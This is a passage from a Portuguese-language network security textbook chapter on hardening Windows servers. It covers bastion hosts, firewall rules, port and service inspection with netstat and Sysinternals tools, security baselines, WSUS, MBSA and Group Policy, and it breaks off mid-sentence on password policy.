apresentadas nesta sessão.

Capítulo 8 - Auditoria de Segurança


da Informação

139
Segurança de Redes e Sistemas

140
9
Configuração segura de
servidores Windows
Apresentar técnicas básicas de configuração segura de servidores Windows,
objetivos

configurar filtros de pacotes, analisar processos ativos, criar uma configuração inicial
e desabilitar processos e serviços desnecessários.

conceitos
Técnicas de proteção em profundidade, como firewalls de perímetro e proxy, IDS e IPS.

Introdução
Prevenir acesso não autorizado a dados sensíveis é essencial em qualquer ambiente em
que múltiplos usuários têm acesso aos recursos físicos ou via rede. Um Sistema Operacional
deve ser configurado de forma segura antes de ser exposto em uma rede pública não
controlada, como o caso da internet. Esse processo de reforçar a segurança é chamado de
hardening. Veremos nesta sessão técnicas e ferramentas utilizadas em ambientes Microsoft
Windows que auxiliam nessas atividades.

Apesar de muito importante, o administrador de segurança não deve confiar inteiramente


na segurança do servidor após o hardening, pois alguma configuração insegura pode ter
passado despercebida, ou alguma nova vulnerabilidade, desconhecida quando o hardening

Capítulo 9 - Configuração segura de


servidores Windows
foi implantado, podendo ter afetado o servidor em questão. Seguindo o princípio da defesa
em profundidade, recomenda-se que o servidor seja ainda protegido por outros recursos,
como firewalls, proxies reversos, IDS (HIDS e NIDS) e IPS.

Exercício de nivelamento 1 e
Configuração segura de servidores Windows
O que você entende por hardening?

141
Na sua organização, como é realizado o hardening? Como é seguido o princípio da defesa
em profundidade?

Necessidade de configuração de um bastion host


Em um ambiente Microsoft Windows, publicado na internet, é vital utilizar o conceito de l
bastion host para garantir a integridade do sistema. Existem inúmeras falhas de segurança O Internet Storm
documentadas que permitem ao invasor acesso total à máquina-alvo quando esta é Center (ISC) publica
uma estatística sobre o
disponibilizada em uma rede pública e com a instalação padrão do Sistema Operacional. tempo que uma
máquina sem nenhuma
Atualmente, esse valor é inferior a 10 minutos, de modo que uma máquina conectada à correção de segurança
internet por um tempo superior provavelmente já está infectada por algum worm ou “sobrevive” na internet:
http://www.dshield.org/
foi invadida.
survivaltime.html

O bastion host será uma máquina exposta na rede pública disponibilizando recursos e
serviços. Por ser uma máquina com serviços públicos, essa será a primeira barreira a ser
vencida por um invasor para tentar obter acesso aos sistemas da rede privada.

Existem várias implementações possíveis de bastion hosts, de acordo com os serviços que
ele oferece. Alguns exemplos:

11 Firewall gateways.

11 Servidores web.

11 Servidores FTP.

11 Servidores de nome DNS.

11 Transportadores de e-mail.

No caso, um bastion host pode oferecer mais de um serviço, conforme as topologias já


discutidas em sessões anteriores.

Exercício de fixação 1 e
Bastion host
O que é um bastion host? Qual a sua finalidade?

Check-list
Segurança de Redes e Sistemas

É recomendado planejar a instalação e escrever um check-list das atividades a serem


realizadas e auditadas nos servidores públicos:

11 Remover ou desabilitar todos os serviços não necessários no host.

11 Remover ou desabilitar todas as contas de usuário não necessárias.

11 Remover ou desabilitar todos os protocolos de rede não utilizados.

142
11 Configurar adequadamente os registros de log do sistema para que possam identificar
possíveis ataques ou atividade suspeita.

11 Implantar um sistema de detecção de intrusão de host.

11 Atualizar o Sistema Operacional com as últimas correções de segurança disponibilizadas


pelo fabricante.

11 Filtrar todas as portas que não são necessárias para o host.

11 Utilizar conexão criptografada para conectar no host.

11 Evitar a instalação de aplicativos não necessários e/ou notadamente vulneráveis,


como Flash, PDF Viewers, Java etc.

A seguir, veremos com mais detalhes as configurações de segurança recomendadas para


servidores que utilizam o Sistema Operacional Microsoft Windows.

Configuração de filtros de pacotes


O Windows XP, 2003, 2008, 7 e acima trazem no próprio Sistema Operacional um aplicativo
para controlar o filtro de pacotes.

No XP e 2003, o filtro de pacote é simples, o que justifica o uso de aplicativo de terceiros


para melhor controle do filtro, como por exemplo o Zone Alarm, da Check Point.

No Windows 7 e Windows Server 2008 e versões posteriores, o aplicativo recebeu


atualizações significativas, permitindo a configuração de perfis e a importação e exportação
de regras, entre outras funcionalidades.

Podemos utilizar uma ferramenta que acompanha o Sistema Operacional: netstat, ou


ferramentas adicionais como o TCPview, da suíte Sysinternals. Através do netstat e do
TCPview, verificamos as portas abertas no servidor para localizar e desabilitar o serviço ou
filtrar a porta.

Cada serviço de rede presente em um servidor pode escutar uma porta, TCP ou UDP, para
receber conexões de outros servidores ou clientes. Alguns desses serviços são importantes
para o bom funcionamento do servidor, e nem sempre podem ser desabilitados. Quando
verificamos as portas abertas em uma configuração padrão de um servidor Windows,
vemos que existe uma série de portas que são abertas por padrão no sistema. Colocar um
sistema de forma pública na internet, sem a devida filtragem dos serviços que não estão em
uso, é arriscado e pode comprometer a segurança do servidor.

Felizmente, muitos sistemas operacionais permitem que seja configurado um filtro de Capítulo 9 - Configuração segura de
servidores Windows
pacotes para controlar as portas que estarão disponíveis para serem conectadas por hosts
externos. A versão padrão do Windows XP, 2003, 2008 e 7 trazem no próprio Sistema
Operacional um aplicativo para controlar o filtro de pacotes. No caso específico do XP e do
2003, o filtro de pacote é mais simples, o que justifica o uso de aplicativo de terceiros para
melhor controle do filtro, como por exemplo o Zone Alarm, da Check Point.

Lembre-se de que essa filtragem é local, e não deve ser utilizada para substituir uma
filtragem de perímetro, propriamente feita através de um firewall, mas apenas como um
mecanismo adicional de segurança (defesa em profundidade). O aluno deve observar
também que caso haja muitos servidores disponibilizando serviços públicos, a configuração
de filtros de pacotes locais em cada servidor pode tornar o gerenciamento do ambiente
complexo, de modo que o uso de filtros em cada servidor deve ser feito com parcimônia.

143
Para listar as portas que estão aguardando conexão de rede ou as conexões estabelecidas,
podemos usar uma ferramenta do próprio Sistema Operacional, neste caso com o comando
netstat, como mostra a próxima figura.

Figura 9.1
Conexões de rede.

A suíte de ferramentas SysInternals (https://docs.microsoft.com/en-us/sysinternals/downloads)


oferece outra ferramenta para listar com mais detalhes as conexões de rede estabelecidas
e seus respectivos processos, além de também listar as portas que estão aguardando por
conexões de rede. Exemplo de listagem de portas da ferramenta TCPview:
Segurança de Redes e Sistemas

144
Figura 9.2
Conexões de rede
com TCPView.

Através do netstat e do TCPview, podemos verificar as portas que estão abertas no servidor,
de modo a localizar e desabilitar o serviço em questão ou filtrar a porta. Outra forma de
verificar as portas abertas é utilizando o Nmap. Desabilitar serviços em sistemas Windows é
um processo que demanda certa paciência. Caso um serviço essencial seja desabilitado,
algum comportamento inesperado pode acontecer. Recomenda-se que seja utilizada uma
máquina de testes, para se criar familiaridade com o processo, antes de desabilitar serviços
em servidores em produção. Mais à frente, serão vistos com mais detalhes o modo de
desabilitar serviços no Windows.

O Windows Firewall é o aplicativo que acompanha o Sistema Operacional para controle de


conexões de rede, que normalmente vem configurado por padrão na instalação padrão do
Windows. Nas versões Windows 7 e Windows Server 2008, o aplicativo recebeu atualizações
significantes, permitindo a configuração de perfis, importação e exportação de regras, entre
outras funcionalidades.

Capítulo 9 - Configuração segura de


servidores Windows

145
Passos para criar uma regra no firewall: Figura 9.3
Windows Firewall
1. Clique na opção desejada de acordo com a necessidade de criar uma regra de entrada para Windows
Server 2008.
(pacotes que entram no servidor) ou regra de saída (pacotes que saem do servidor).

2. No painel de ações, no lado direito, clique em “Nova Regra” (New Rule).

3. Selecione que deseja criar uma regra para uma porta.

4. Selecione o protocolo (TCP ou UDP).


Segurança de Redes e Sistemas

5. Selecione as portas que deseja incluir nesta regra, separadas por vírgula.

6. Selecione a ação desejada (permitir, permitir com IPsec ou bloquear).

7. Selecione os perfis aos quais essa regra vai se aplicar.

8. Defina um nome e uma descrição para a regra.

Por fim, verifique a regra criada no painel da ferramenta. Você pode testar as suas regras
com os comandos já apresentados.

146
Desabilitar serviços em sistemas Windows é um processo que demanda paciência. Caso um
serviço essencial seja desabilitado, pode ocorrer algum comportamento inesperado. Outra
forma de identificar os serviços ativos e não bloqueados pelo firewall é através de Nmap.

Exercício de fixação 2 e
Configuração de filtros de pacotes
Explique como deve ser feita a configuração de filtro de pacotes.

Criação de uma linha base de segurança (baseline)


Uma baseline consiste em uma referência inicial de segurança, um ponto inicial, a partir
do qual se evolui para uma configuração segura. Os servidores Windows possuem alguns
perfis padrão de segurança, de acordo com o papel que aquele servidor irá desempenhar.
Mais adiante, serão vistas algumas ferramentas que permitem a criação de uma baseline
e a posterior auditoria para verificar se a configuração atual atende ao mínimo necessário
de segurança.

Além da baseline, é preciso criar um mapa do tempo (timeline) dos servidores da rede,
registrando a data de instalação do Sistema Operacional, das principais correções e da
instalação de aplicativos. Essa linha do tempo será útil para manter atualizado o inventário
dos sistemas e principalmente para uma eventual auditoria.

Desabilitando serviços desnecessários


O Windows 2008 Server traz alguns avanços de segurança que auxiliam na criação de um
bastion host: os papéis. O conceito de papéis (roles) ajuda no processo de habilitar somente
programas necessários e evitar comprometer a segurança do sistema. O sistema de papéis,
quando aplicado, irá:

11 Iniciar somente os serviços necessários.

11 Liberar exceções nos filtros de pacotes nas interfaces de rede que forem necessárias.

Capítulo 9 - Configuração segura de


servidores Windows
Logo após a instalação do Sistema Operacional, depois do primeiro acesso ao sistema, a
ferramenta de configuração de papéis é apresentada. Com a escolha de um determinado
role, o aplicativo iniciará somente os serviços e liberará exceções nos filtros de pacotes nas
interfaces de rede em que isso for necessário. Essa é uma grande evolução, que facilita o
processo de desabilitar serviços desnecessários e liberar regras de acesso para os serviços
que estão sendo usados.

147
Figura 9.4
Regras de
configuração do
Windows 2008
Server.

Nos sistemas operacionais que possuem o recurso de roles, é importante verificar se os


roles realmente disponibilizam somente os serviços necessários. Nos sistemas operacionais
mais antigos da Microsoft (Windows XP e 2003 Server), os serviços se tornam o principal
controle de recursos disponíveis no sistema, de modo que devem ser desabilitados de
forma manual. A ferramenta Services MMC, que acompanha o Sistema Operacional, ajuda
nessa tarefa. Ela pode ser encontrada no Painel de Controle, no item “Ferramentas
Administrativas”. Ao iniciar a ferramenta Services, obtemos a seguinte tela:
Segurança de Redes e Sistemas

Figura 9.5
Serviços do
Windows XP.

148
Através da ferramenta, podemos iniciar, encerrar e desabilitar serviços. Para iniciar e
encerrar um serviço, basta clicar em cima do serviço e escolher uma das opções, que se
assemelham aos controles de um programa tocador de música. Note que alguns serviços
não podem ser encerrados, pois são serviços essenciais para o funcionamento do Sistema
Operacional. Para desabilitar um serviço, basta clicar no serviço desejado e mudar o startup
type para disabled.

Uma tarefa importante para a configuração segura de servidores consiste em saber a porta
TCP ou UDP associada a um determinado serviço, de modo que possamos desabilitar os ser-
viços desnecessários que abrem portas de rede no servidor. Essa tarefa pode ser realizada
utilizando alguns utilitários disponíveis na internet. A seguir, um exemplo de como podemos
descobrir um serviço que corresponda a uma porta específica.

1. Através do netstat –ano ou do TCPview, verificamos uma porta da qual desejamos saber
o serviço correspondente. No exemplo, a porta UDP 1900, que corresponde ao processo
de número 1216 (svchost.exe). Geralmente um serviço é executado por esse programa.

Figura 9.6

2. A partir do número do processo, verificamos no Process Explorer as propriedades do


processo em questão. Na aba Services, encontramos os serviços associados ao processo
svchost.exe.

Capítulo 9 - Configuração segura de


servidores Windows

Figura 9.7
Serviços associados
ao processo
svchost.exe.

149
3. No caso, um dos serviços apresentados é o serviço que procuramos. O próximo passo é
desabilitar os serviços em questão, um a um, até que a porta desapareça do netstat ou

l
do TCPview. No exemplo anterior, o serviço responsável pela porta 1900 UDP é o SSDP
Discovery Service.
O Process Explorer
4. Na Wikipedia (List of TCP and UDP port numbers) há uma lista de portas conhecidas e os pode ser encontrado
processos correspondentes, onde podemos confirmar que a porta 1900 UDP corresponde no endereço http://
de fato ao serviço SSDP, que possui relação com a descoberta de dispositivos UPnP. technet.microsoft.com/
en-us/sysinternals/
bb896653
Exercício de fixação 3 e
Baseline
Explique o que é uma linha base de segurança.

Ferramentas de análise da segurança do Windows


Existem várias ferramentas que auxiliam na administração de segurança de servidores
Windows. As ferramentas que acompanham o Sistema Operacional são preteridas por
normalmente continuarem funcionando mesmo após grandes atualizações, como no
caso de um Service Pack. Porém, ferramentas terceiras normalmente trazem informações
mais detalhadas e com relatórios úteis na gestão dos servidores. Vamos ver exemplos de
ferramentas úteis para a análise de segurança de servidores Windows.

WMIC
Windows Management Instrumentation Console (WMIC) é também conhecida como
“canivete suíço do Windows”. Essa ferramenta é executada em linha de comando e pode ser
executada no servidor local ou remoto pela rede de dados. Essa ferramenta está disponível
em todas as versões do Windows a partir do Windows NT.

A sintaxe do WMIC é sempre: wmic <objeto> <ação>

Exemplo:
Segurança de Redes e Sistemas

Figura 9.8
Exemplo de uso
do WMIC.

150
l Principais objetos no auxílio de auditoria de segurança:
Para mais detalhes dos
comandos disponíveis, 11 startup: lista todos os processos que são iniciados junto com o Sistema Operacional.
consulte a ajuda on-line
11 process: lista dos processos executados pelo sistema.
ou através do próprio
aplicativo com o 11 cpu: informações sobre o processador físico.
comando: wmic /?
11 group: lista de grupos cadastrados no sistema.

11 useraccount: lista dos usuários cadastrados no sistema.

O WMIC é capaz de gerar relatórios em vários formatos, como CSV, XML, HTML, através da
diretiva /FORMAT:<formato>. Mais um exemplo do uso do WMIC:

Figura 9.9
Mais um exemplo
de uso do WMIC.

Sysinternals
A suíte de ferramentas desenvolvidas inicialmente por Mark Russinavich e Bryce Cogswell
oferece a possibilidade de uma verificação mais detalhada do funcionamento do Sistema
Operacional.

l Com o objetivo de auxiliar o analista a gerenciar o host, resolver problemas e diagnosticar


As ferramentas podem
ser baixadas o Sistema Operacional e aplicativos, a Microsoft adquiriu em 2006 a suíte de ferramentas
gratuitamente do site Sysin-ternals e contratou Mark Russinovich para continuar na equipe de desenvolvimento da
da Microsoft: https://
suíte de ferramentas.
docs.microsoft.com/
en-us/sysinternals/
Algumas ferramentas importantes da suíte do SysInternals:
downloads. Algumas já
foram apresentadas,
11 Autoruns: mostra os programas que inicializam automaticamente com o sistema.
como o TCPview e o
Process Explorer. 11 Diskmon: captura toda a atividade do disco rígido.

11 EFSDump: verifica informações sobre arquivos cifrados.

11 ProcDump: captura área de memória de processos.

Capítulo 9 - Configuração segura de


servidores Windows
11 PsService: visualiza e controla serviços.

11 RootkitRevealer: verifica o sistema em busca de programas maliciosos do tipo rootkit.

11 Process Monitor: monitora diversas informações sobre processos, incluindo alterações


do registry e do sistema de arquivos. Muito útil para verificar o comportamento de
certos programas.

151
Figura 9.10
Exemplo de uso
do psinfo.

Outra ferramenta bastante útil é o dumpsec, da SystemTools: http://www.systemtools.com.


Com ela você poderá gerar um arquivo de texto contendo todas as permissões de acesso
dos usuários referentes a arquivos, pastas, registros e compartilhamentos. Tal relatório
permite identificar se todas as permissões estão configuradas de acordo com a política
da organização.

WSUS
Windows Server Update Services (WSUS) é uma ferramenta da Microsoft que auxilia no
processo de atualizações dos sistemas e aplicativos Microsoft. É um serviço que pode ser
executado em versões do Windows Server 2000, 2003 e 2008. Esse serviço é responsável
por baixar as atualizações dos servidores da Microsoft e distribuí-las para as estações de
trabalho e servidores da rede. Essa distribuição pode ser realizada automaticamente de
forma pré-aprovada pelo administrador do sistema ou com aprovações manuais para cada
atualização, em casos mais críticos.

O WSUS também é capaz de gerar relatórios personalizados da situação de cada host da


rede, exibindo detalhes da atualização do Sistema Operacional e aplicativos Microsoft.
A seguir, uma tela inicial do WSUS em execução:
Segurança de Redes e Sistemas

152
Figura 9.11 É possível configurar a aprovação individualizada de updates dentro do WSUS, por máquinas
Tela inicial ou grupos de máquinas. Mais além, é possível configurar via GPOs (Group Policy Objects) a
do WSUS.
distribuição e instalação automática desses updates. Na tela a seguir, mostramos a tela de
aprovação de atualizações do WSUS.

Capítulo 9 - Configuração segura de


servidores Windows

Figura 9.12
Tela de aprovação
de atualizações do
WSUS.

153
MBSA
Microsoft Baseline Security Analyzer (MBSA) é uma ferramenta capaz de verificar se
servidores – com Windows Server 2003 e 2008, e estações de trabalho com Windows XP,
Vista e 7 – estão de acordo com as recomendações de segurança da Microsoft e ainda se
estão com as últimas versões das correções de segurança instaladas. Para utilizar o MBSA,
será necessário ter conta no sistema com privilégio de administrador.

Figura 9.13
Microsoft Baseline
Security Analyzer.

Além de verificar a instalação de correções de segurança, o MBSA também verifica falhas


comuns na configuração dos servidores, como o serviço de atualização desligado, contas de
usuário que nunca expiram, contas sem senhas, configurações com fragilidade de segurança
do Internet Explorer, entre outras. O MBSA é gratuito para usuários Windows.

Microsoft Security Compliance Manager


A ferramenta Microsoft Security Compliance Manager é completa para a segurança de
servidores e estações Windows. Tem por objetivo concentrar uma série de conhecimentos
sobre a segurança de servidores e facilitar o processo de hardening de servidores e
estações. Ela permite aplicar uma série de parâmetros de segurança, a customização de
baselines e a exportação em formatos fáceis de aplicar em um ambiente.

Recursos presentes na ferramenta:


Segurança de Redes e Sistemas

11 Gerenciamento centralizado de baselines: provê uma interface centralizada de


gerenciamento para prover, planejar e customizar baselines, incluindo as recomendadas
para os sistemas operacionais Windows.

11 Customização de baselines: permite customizar, comparar, juntar e revisar as baselines.

11 Exportação para múltiplos formatos: permite a exportação das configurações em


diversos formatos, incluindo XLS, GPO, DCM e SCAP, para permitir a automação da
implantação e o monitoramento da aderência às baselines definidas.

154
Suporta Windows Server 2008 R2, Windows Server 2008, Windows Server 2003, Hyper-V,
Windows 7, Windows Vista, Windows XP, BitLocker Drive Encryption, Windows Internet
Explorer 8, Microsoft Office 2010 e Microsoft Office 2007 SP2.

A figura a seguir mostra o console principal da ferramenta:

Figura 9.14
Microsoft Security
Compliance
Manager.

Ele requer o .NET runtime e o SQL Server Express. Os seguintes passos são necessários para
O Microsoft Security a instalação da ferramenta:
Compliance Manager
pode ser baixado em 1. Baixe a ferramenta em https://www.microsoft.com/en-us/download/details.aspx?id=53353
http://technet.micro-
soft.com. 2. Execute a instalação. O User Account Control (UAC) vai pedir permissões para executar o
instalador como administrador. Autorize as permissões.

3. Na tela seguinte, marque a opção: “Automatically check for application and baseline
updates from microsoft.com during application usage for current user.”

Capítulo 9 - Configuração segura de


servidores Windows
4. Aceite os termos da licença. Instale a ferramenta no diretório padrão e escolha um nome
para identificar as baselines criadas (exemplo: ESR).

5. Na página referente ao SQL Server Express, escolha a opção “Download and Install”.

6. Aceite os termos da licença do SQL Server Express.

7. Aguarde a instalação da ferramenta e seus pré-requisitos. Dependendo da conexão de


internet, pode demorar um tempo.

Durante a instalação, caso o .NET Runtime não esteja instalado, o MSCM não será instalado
e será necessário baixar e instalar esse componente.

Ao iniciarmos o MSCM pela primeira vez, o aplicativo automaticamente busca e instala as


versões mais recentes dos templates de segurança para as plataformas suportadas por ele.
Essa atualização é importante para garantir que as últimas versões dos templates estão
sendo utilizadas. Essa atualização pode também ser realizada através do menu “Tools”,
opção “Check for baselines”. Na tela principal, temos então os seguintes componentes:

155
Figura 9.15
Microsoft Security
Compliance
Manager.

Baseline Library
11 Lista todas as baselines numa estrutura hierárquica.

11 Ao clicar em uma baseline com o botão direito, um menu apresenta alguns comandos
que podem ser aplicados.

Baseline Information Pane


11 Apresenta informações sobre a baseline selecionada.

Actions
11 Apresenta comandos para a gerência das baselines.

Vamos agora imaginar que queremos criar uma baseline para o Windows 7. Ao iniciar o
MSCM, vemos no lado esquerdo o painel de bibliotecas de baseline. Dentro da categoria
“Windows 7”, vamos escolher uma baseline que se adeque às nossas necessidades. Neste
exemplo, usaremos o Win7-SSLF-Desktop 1.0. Ao clicar na baseline no painel central, vemos
uma série de informações.

Agora, podemos verificar que a baseline escolhida se refere a uma política para estações de
trabalho (desktop). A sigla SSLF se refere a “Segurança Especializada – Funcionalidade Limi-
tada”, que indica que a política correspondente é bastante restritiva. Segundo a descrição,
essa política só é aplicável em organizações que possuam altos padrões de segurança,
onde ela é mais importante que a funcionalidade das aplicações. Ela ainda assume que o
Segurança de Redes e Sistemas

ambiente utiliza o Active Directory e que a comunicação só é feita com computadores com a
versão mais atual do sistema Windows e com as atualizações mais recentes.

Na parte superior da janela, vemos uma aba Documents, que nos fornece informações
adicionais sobre a segurança do Sistema Operacional em questão. No exemplo, o
documento Windows 7 Security Guide.docx oferece um guia completo sobre a segurança
desse Sistema Operacional.

156
A partir de uma baseline padrão, exporta-se para formatos que podem ser aplicados em
computadores, como GPO, DCM e SCAP. Para customizar uma baseline, porém, temos
de criar uma cópia, pois as da Microsoft não são editáveis. No painel do lado direito,
encontramos a opção Duplicate, que permite duplicar uma baseline, que aparecerá na
árvore do lado esquerdo da janela, na parte superior.

Figura 9.16
Exemplo de
duplicação de
baseline.

A partir dessa cópia, podemos analisar cada parâmetro de configuração e alterá-lo, criando
uma nova baseline personalizada. No exemplo, ao clicar em “Power management/sleep
settings” e na aba Definitions, abaixo, podemos habilitar (enable) e desabilitar (disable) esse
item específico, que corresponde à exigência de senha quando o computador sair do modo
de espera.

Ao finalizar a configuração desejada, a opção “Create GPO Backup” permite criar um Group
Policy Object (GPO), que pode ser aplicado em um computador específico (ou em um
conjunto de computadores), utilizando o Active Directory ou o Local Policy Tool (LPT), que
acompanha a ferramenta. Opcionalmente podemos exportar a configuração no formato
Desired Configuration Management (DCM), de modo a utilizar o Configuration Manager para
monitorar os computadores no ambiente, verificando se estão de acordo com as baselines
definidas. Por se tratar de um produto comercial, o System Center Configuration Manager
não será detalhado nesta sessão.

Exercício de fixação 4 e
Microsoft Security Compliance Manager
Explique como funciona o Microsoft Security Compliance Manager.

Capítulo 9 - Configuração segura de


servidores Windows
Sistemas de arquivos e gerenciamento de usuários
Por fim, porém não menos importante, um sistema seguro deve utilizar um sistema de
arquivos que suporte a criação de permissões, de modo a limitar o acesso dos usuários,
limitando um potencial estrago em caso de comprometimento de uma conta de usuário,
além de incluir o mínimo de usuários possíveis. O sistema de arquivos padrão do Windows,
a partir da versão NT, é o NTFS.

Apesar de suportar outros sistemas, como o FAT32, recomenda-se que seja usado sempre
o NTFS por questões de segurança, pois ele possui a capacidade de ajuste de permissões
por usuário (ACL), para que o sistema de arquivos possa ser configurado de modo que os
usuários só tenham acesso ao que realmente for necessário para a utilização do sistema
(princípio do menor privilégio). Podemos verificar as permissões de um determinado
arquivo ou pasta no sistema, através das propriedades, na aba Segurança:

157
Figura 9.17
Permissões de
um determinado
arquivo.

Aqui podemos editar as propriedades de segurança desse objeto, adicionando ou


removendo permissões. É importante lembrar que os servidores que utilizam NTFS como
sistema de arquivos já possuem uma configuração inicial razoavelmente restritiva, de modo
que um usuário não administrador tenha poucos privilégios no ambiente, não conseguindo
instalar novos programas e com permissão de gravação apenas na sua pasta de trabalho.

Ao configurar o sistema, devemos verificar ainda as contas de usuário, removendo todas


as contas que não estão em uso, especialmente contas de convidado (guest), definindo
senhas complexas para os usuários e para a conta de administração. Outra prática comum é
renomear a conta de administrador, de modo que dificulte a ação de ataques de força bruta,
com o objetivo de encontrar a senha dessa conta.

O documento “Threats and Countermeasures: Security Settings in Windows Server 2008 and
Windows Vista” apresenta recomendações importantes para configurar um bastion host.

Group Policy Objects


Uma das grandes tarefas de um administrador de redes é o gerenciamento de usuários,
grupos e computadores de uma rede e, dependendo do tamanho da estrutura da
Segurança de Redes e Sistemas

organização, essa tarefa pode demandar horas e mais horas de planejamento e execução.
Uma ferramenta de vital importância para suprir essa demanda é sem dúvida o Group Policy
Objects (GPO), presente nos sistemas operacionais de rede da Microsoft desde a versão 2000.

Com ele podemos controlar boa parte do comportamento tanto das estações de trabalho
que compõem nosso parque de máquinas quanto do próprio servidor.

Essas políticas facilitam a configuração de várias máquinas ao mesmo tempo, bastando


apenas escolher qual política utilizar para toda a empresa, para um grupo específico ou
mesmo para apenas uma estação de trabalho.

158
Com o GPO podemos:

11 Restringir ícones e botões da área de trabalho ou do menu Iniciar.

11 Limitar o número de programas a serem executados.

11 Restringir opções do Active Desktop.

11 Remover programas desnecessários.

11 Programar instalações remotas de programas.

11 Configurações do Internet Explorer.

As configurações executadas via GPOs são aplicadas para usuários, computadores, member
servers, Domain Controlers, mas apenas para computadores rodando Windows 2000
(Server ou Professional), Windows XP, Windows Vista, Windows Server 2003 e Windows
Server 2008.

A primeira aproximação que a Microsoft fez com políticas de grupos foi introduzida no
Windows NT 4 através do Police Editor, mas foi com o lançamento do Windows 2000 Server
que foi introduzido ao mundo Windows o Group Policy Editor, que incluía:

11 Configuração dos principais componentes do Windows.

11 Configuração dos principais recursos dos Active Desktop.

11 Configuração das regras de segurança.

11 Instalação de Softwares do tipo Windows Installer.

11 Configurações por computador ou usuário.

11 Herança, bloqueio de herança e regras mandatórias.

Com o lançamento do Windows 2003 Server, a implementação de GPOs ficou ainda mais
fácil, principalmente com o Group Policy Management Console.

Agora, com o Windows 2008 Server, o Group Policy ganhou mais opções, incorporando
muitos dos serviços antes feitos apenas através de scritps, tais como mapeamento de
impressoras, discos e aspectos do desktop do usuário, inclusão de filtros WMI (Windows
Management Instrumentation), permitindo a criação de GPOs específicas conforme o
hardware da estação e criação de modelos com o recurso “Starter GPO”. Quando falamos de
GPO, estamos nos referindo a Diretivas de Grupo. Uma diretiva de grupo é um conjunto de
regras que podemos utilizar a fim de facilitar o gerenciamento, configuração e segurança de
computadores e usuários.

Podemos atribuir diretivas em uma GPO. Essa GPO com essas regras podem ser Capítulo 9 - Configuração segura de
servidores Windows
atribuídas a um:

11 Site: é o mais alto nível e normalmente atribuído a GPOs mais genéricas, válidas para
qualquer usuário/computador/domínio nesse site.

11 Domínio: vem em segundo nível. Configurações feitas nesse nível afetaram


usuários/computadores dentro do domínio.

11 OU: o que se aplica nas OUs afetarão todos os usuários/computadores dentro dela.

Para criar uma GPO, basta clicar com o botão direito em uma das opções acima, clicar em
Propriedades e na aba Group Policy.

159
Figura 9.18
Criando uma GPO.

Exercício de fixação 5 e
Group Policy Objects (GPO)
Explique o que são Group Policy Objects (GPO).

Políticas de usuários e de computador


O console GPO é dividido em duas partes:

11 Computer Configuration.

22 Permite aplicar políticas que sempre estarão ativas nas estações de trabalho,
independente do usuário logado.
Segurança de Redes e Sistemas

22 Como essas políticas são permanentes, a chave de registro modificada em questão é


HKEY_LOCAL_MACHINE.

11 User Configuration.

22 Essa opção permite a implementação de políticas diretamente nos usuários,


não sendo permanente na estação de trabalho.

22 Essa política estará associada ao usuário e será aplicada em qualquer estação na qual
o usuário faça login.

160
Se houver algum conflito entre as configurações dos computadores e dos usuários,
as configurações dos usuários vão prevalecer.

Opções de GPO
11 Software Settings – nessa categoria são configurados, por exemplo, a distribuição de
aplicações para o usuário.

11 Windows Settings – permite ao administrador customizar as configurações do Windows.


Essas opções são diferentes para usuários e computadores.

11 Administrative templates – modelos utilizados para configurar as definições de políticas


de segurança de usuários e computadores. Essas opções acessam diretamente as chaves
de registro HKEY_LOCAL_MACHINE e HKEY_CURRENT_USER.

Ordem das GPOs


Dependendo da estrutura da organização, podemos utilizar várias GPOs para as mais
diversas tarefas e, muitas vezes, essas GPOs podem ser aplicadas a um mesmo objeto,
seja diretamente ou por herança. Nesse caso, as GPOs possuem uma hierarquia para
serem aplicadas:

11 GPO local.

11 GPO de site.

11 GPO de domínio.

11 GPO de OU.

As GPOs são baseadas em modelos que possuem uma lista de opções configuráveis de
forma bastante intuitiva. Em sua maioria oferecem a opção de:

11 Habilitada: especifica o item que será ativado.

11 Desabilitada: especifica o item que será desativado.

11 Não configurada: deixa a opção neutra: não está ativada nem desativada,
essa é a opção padrão.

Heranças de GPO
Para facilitar a criação de GPOs, pode-se especificar em um site uma política global, como
mudança de senha ou papel de parede específico, e em domínio ou OU uma política mais

Capítulo 9 - Configuração segura de


servidores Windows
restritiva e personalizada. Por padrão, as GPOs podem ser sobrepostas caso existam
políticas habilitadas em um site e em um domínio, seguindo sempre a precedência da mais
próxima. Por exemplo, podemos configurar em nível de site uma GPO para que os usuários
troquem a senha a cada 30 dias. Porém, no domínio foi configurada uma GPO desativando
essa política. Nesse caso, a política vigente será a do domínio.

161
GPO1

Site

GPO2

Domínio

GPO3

ou Figura 9.19
Heranças de GPO.

Entretanto, esse comportamento pode ser alterado através das opções:

11 Block Policy Inheritance (Bloquear Herança de Políticas): especifica que as


configurações da GPO para um determinado objeto não será herdada de seu nível superior.

11 Force Policy Inheritance (Forçar Herança de Políticas): especifica que você não
permitirá que níveis filhos possam sobrescrever suas configurações de GPO. Por
exemplo, se o administrador de rede da empresa deseja criar uma GPO que force os
usuários a utilizarem uma senha de nove dígitos e não deseja que os administradores do
domínio nem das OUs dos domínios alterem essa política, ele pode criar a GPO, aplicar
para todo o site e marcar a opção de Force Policy Inheritance.

Diretivas de segurança local


Quando trabalhamos com o Windows Server em um domínio, a maior parte das
configurações de segurança podem e devem ser feitas através de GPOs do Active Directory,
facilitando a configuração automática de parâmetros de segurança em todas as estações de
trabalho automaticamente, eliminando a necessidade de configuração máquina a máquina.
Porém, nem todas as organizações trabalham com domínios. Dessa maneira, não dispomos
de GPOs para configuração de segurança. Para configurar esses parâmetros de segurança
nos servidores podem-se utilizar as diretivas de segurança local.

Uma diretiva de segurança local permite ao administrador controlar:

11 Quem acessa os computadores.

11 Quais recursos os usuários estão autorizados a usar no computador. Figura 9.20


A Diretiva de
11 Se as ações de um usuário ou grupo são registradas no Log de eventos. Segurança Local.
Segurança de Redes e Sistemas

162
Entre as mais diversas possibilidades de implementação de itens de segurança que o
Windows Server possibilita a um administrador de sistemas, podemos destacar as seguintes
diretivas:

11 Política de senhas.

11 Auditoria de contas.

11 Direitos de usuários.

11 Opções de segurança.

Diretiva de senhas
Sempre é bom lembrar que uma boa política de senhas é fundamental para uma organi-
zação, mas, antes de mais nada, é um controle de segurança, e antes de defini-lo o adminis-
trador precisa entender exatamente quais os riscos envolvidos em se definir como o usuário
vai trabalhar com suas senhas, o valor do que está sendo protegido com essa senha e os
demais controles de acesso que existem adicionalmente além da própria senha.

A organização deve estar preocupada não somente com ataques de força bruta ou por dicio-
nário, mas também evitar que o usuário esqueça a senha e tenha de redefini-la diversas
vezes. Porém, uma fraca política de autenticação invalida todas as outras barreiras imple-
mentadas, tais como firewalls, criptografia etc.

Para se defender contra essas vulnerabilidades, faz-se necessário uma correta aplicação
